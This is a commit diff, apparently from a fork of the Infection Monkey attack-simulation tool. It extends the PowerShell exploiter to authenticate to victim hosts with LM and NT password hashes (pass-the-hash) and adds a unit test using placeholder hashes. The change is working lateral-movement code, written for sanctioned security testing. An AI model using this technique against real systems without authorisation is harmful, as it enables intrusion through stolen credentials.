forked from p15670423/monkey
Agent: Attempt login with LM and NT hashes in PowerShellExploiter
This commit is contained in:
parent
a2e6b0bfbd
commit
501fc162b4
|
@ -55,8 +55,8 @@ class PowerShellExploiter(HostExploiter):
|
|||
credentials = get_credentials(
|
||||
self._config.exploit_user_list,
|
||||
self._config.exploit_password_list,
|
||||
[],
|
||||
[],
|
||||
self._config.exploit_lm_hash_list,
|
||||
self._config.exploit_ntlm_hash_list,
|
||||
is_windows_os(),
|
||||
)
|
||||
auth_options = get_auth_options(credentials, is_https)
|
||||
|
@ -117,20 +117,30 @@ class PowerShellExploiter(HostExploiter):
|
|||
|
||||
logger.info(
|
||||
f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
|
||||
f"{creds.username}"
|
||||
f"{creds.username}, Secret Type: {creds.secret_type.name}"
|
||||
)
|
||||
self.report_login_attempt(True, creds.username, creds.secret)
|
||||
self._report_login_attempt(True, creds)
|
||||
|
||||
return client
|
||||
except Exception as ex: # noqa: F841
|
||||
logger.debug(
|
||||
f"Error logging into {self.host.ip_addr} using Powershell. User: "
|
||||
f"{creds.username}, Error: {ex}"
|
||||
f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}"
|
||||
)
|
||||
self.report_login_attempt(False, creds.username, creds.secret)
|
||||
self._report_login_attempt(False, creds)
|
||||
|
||||
return None
|
||||
|
||||
def _report_login_attempt(self, result: bool, credentials: Credentials):
|
||||
if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]:
|
||||
self.report_login_attempt(result, credentials.username, password=credentials.secret)
|
||||
elif credentials.secret_type == SecretType.LM_HASH:
|
||||
self.report_login_attempt(result, credentials.username, lm_hash=credentials.secret)
|
||||
elif credentials.secret_type == SecretType.NT_HASH:
|
||||
self.report_login_attempt(result, credentials.username, ntlm_hash=credentials.secret)
|
||||
else:
|
||||
raise ValueError(f"Unknown secret type {credentials.secret_type}")
|
||||
|
||||
def _execute_monkey_agent_on_victim(self) -> bool:
|
||||
arch = self._client.get_host_architecture()
|
||||
self.is_32bit = arch == WIN_ARCH_32
|
||||
|
|
|
@ -11,6 +11,8 @@ from infection_monkey.model.host import VictimHost
|
|||
|
||||
USER_LIST = ["user1", "user2"]
|
||||
PASSWORD_LIST = ["pass1", "pass2"]
|
||||
LM_HASH_LIST = ["bogo_lm_1"]
|
||||
NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"]
|
||||
DROPPER_TARGET_PATH_32 = "C:\\agent32"
|
||||
DROPPER_TARGET_PATH_64 = "C:\\agent64"
|
||||
|
||||
|
@ -19,6 +21,8 @@ Config = namedtuple(
|
|||
[
|
||||
"exploit_user_list",
|
||||
"exploit_password_list",
|
||||
"exploit_lm_hash_list",
|
||||
"exploit_ntlm_hash_list",
|
||||
"dropper_target_path_win_32",
|
||||
"dropper_target_path_win_64",
|
||||
],
|
||||
|
@ -33,9 +37,17 @@ class TestAuthenticationError(Exception):
|
|||
def powershell_exploiter(monkeypatch):
|
||||
host = VictimHost("127.0.0.1")
|
||||
pe = powershell.PowerShellExploiter(host)
|
||||
pe._config = Config(USER_LIST, PASSWORD_LIST, DROPPER_TARGET_PATH_32, DROPPER_TARGET_PATH_64)
|
||||
pe._config = Config(
|
||||
USER_LIST,
|
||||
PASSWORD_LIST,
|
||||
LM_HASH_LIST,
|
||||
NT_HASH_LIST,
|
||||
DROPPER_TARGET_PATH_32,
|
||||
DROPPER_TARGET_PATH_64,
|
||||
)
|
||||
|
||||
monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError)
|
||||
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
|
||||
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
|
||||
# it's necessary to avoid having to deal with the monkeyfs
|
||||
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
|
||||
|
@ -141,3 +153,66 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter):
|
|||
|
||||
success = powershell_exploiter.exploit_host()
|
||||
assert not success
|
||||
|
||||
|
||||
def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter):
|
||||
mock_client = MagicMock()
|
||||
mock_client.get_host_architecture = lambda: WIN_ARCH_32
|
||||
mock_client.copy_file = MagicMock(return_value=True)
|
||||
mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception)
|
||||
|
||||
def allow_ntlm(_, credentials: Credentials, auth_options: AuthOptions):
|
||||
if credentials.username == USER_LIST[1] and credentials.secret == NT_HASH_LIST[1]:
|
||||
return mock_client
|
||||
|
||||
raise TestAuthenticationError
|
||||
|
||||
mock_powershell_client = MagicMock(side_effect=allow_ntlm)
|
||||
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
|
||||
|
||||
powershell_exploiter.exploit_host()
|
||||
|
||||
assert {
|
||||
"result": False,
|
||||
"user": USER_LIST[1],
|
||||
"password": None,
|
||||
"lm_hash": "",
|
||||
"ntlm_hash": "",
|
||||
"ssh_key": "",
|
||||
} in powershell_exploiter.exploit_attempts
|
||||
|
||||
assert {
|
||||
"result": False,
|
||||
"user": USER_LIST[1],
|
||||
"password": PASSWORD_LIST[0],
|
||||
"lm_hash": "",
|
||||
"ntlm_hash": "",
|
||||
"ssh_key": "",
|
||||
} in powershell_exploiter.exploit_attempts
|
||||
|
||||
assert {
|
||||
"result": False,
|
||||
"user": USER_LIST[0],
|
||||
"password": "",
|
||||
"lm_hash": LM_HASH_LIST[0],
|
||||
"ntlm_hash": "",
|
||||
"ssh_key": "",
|
||||
} in powershell_exploiter.exploit_attempts
|
||||
|
||||
assert {
|
||||
"result": False,
|
||||
"user": USER_LIST[1],
|
||||
"password": "",
|
||||
"lm_hash": "",
|
||||
"ntlm_hash": NT_HASH_LIST[0],
|
||||
"ssh_key": "",
|
||||
} in powershell_exploiter.exploit_attempts
|
||||
|
||||
assert {
|
||||
"result": True,
|
||||
"user": USER_LIST[1],
|
||||
"password": "",
|
||||
"lm_hash": "",
|
||||
"ntlm_hash": NT_HASH_LIST[1],
|
||||
"ssh_key": "",
|
||||
} in powershell_exploiter.exploit_attempts
|
||||
|
|
Loading…
Reference in New Issue